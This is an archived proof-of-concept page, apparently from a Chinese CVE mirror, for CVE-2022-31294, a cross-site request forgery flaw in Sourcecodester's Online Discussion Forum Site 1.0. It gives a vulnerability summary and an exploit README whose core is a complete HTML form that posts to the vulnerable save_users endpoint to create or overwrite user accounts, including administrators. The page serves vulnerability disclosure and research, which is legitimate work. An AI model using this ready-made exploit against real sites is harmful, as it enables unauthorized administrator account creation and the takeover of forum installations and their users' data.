Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-31294 PoC — Sourcecodester Online Discussion Forum Site 跨站请求伪造漏洞

Source
Associated Vulnerability
Title:Sourcecodester Online Discussion Forum Site 跨站请求伪造漏洞 (CVE-2022-31294)
Description:Sourcecodester Online Discussion Forum Site是Sourcecodester的一个应用系统。一个在线讨论论坛。 Sourcecodester Online Discussion Forum Site 1.0 版本存在安全漏洞,该漏洞源于save_users() 函数中的一个问题允许未经身份验证的攻击者任意创建或更新用户帐户。
Description
Online Discussion Forum Site 1.0 - Account Takeover
Readme
# CVE-2022-31294

Online Discussion Forum Site 1.0 - Account Takeover

#### Exploit Title: Online Discussion Forum Site 1.0 - CSRF Create New/Update Existing Admin User _[Account Takeover]_
#### Date:  2022-06-13
#### CVE:  CVE-2022-31294
#### Exploit Author: Abdulaziz Saad (@b4zb0z)
#### Vendor Homepage: https://www.sourcecodester.com/
#### Software Link: https://www.sourcecodester.com/php/15337/online-discussion-forum-site-phpoop-free-source-code.html
#### Version: 1.0
#### Tested on: LAMP, Ubuntu

-----


[#] Vulnerability Location:
	`function save_users()` in `/odfs/classes/Users.php:13`

----

[#] Exploitation:
	```
	 <form action="http://localhost/odfs/classes/Users.php?f=save" method="post" id="manage-user">	
				<input type="text" name="id" value="" placeholder="Keep empty if you want to create new user / put user ID to edit existing user">
				<div class="form-group">
					<label for="name">First Name</label>
					<input type="text" name="firstname" id="firstname" class="form-control" value="" required>
				</div>
				<div class="form-group">
					<label for="name">Middle Name</label>
					<input type="text" name="middlename" id="middlename" class="form-control" value="">
				</div>
				<div class="form-group">
					<label for="name">Last Name</label>
					<input type="text" name="lastname" id="lastname" class="form-control" value="" required>
				</div>
				<div class="form-group">
					<label for="username">Username</label>
					<input type="text" name="username" id="username" class="form-control" value="" required  autocomplete="off">
				</div>
				<div class="form-group">
					<label for="password"> Password</label>
					<input type="password" name="password" id="password" class="form-control" value="" autocomplete="off">
                    				</div>
                <div class="form-group">
                    <label for="type" class="control-label">Type</label>
                    <select name="type" id="type" class="form-control form-control-sm rounded-0" required>
                    <option value="1" >Administrator</option>
                    <option value="2" >Registered User</option>
                    </select>
                </div>
                <button type="submit">Save</button>
	</form>
	```
File Snapshot

[4.0K] /data/pocs/23b9adb870ef081a7c90ffeee31833f61c8ed839 ├── [2.2K] README.md └── [1.7K] takeover.html 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.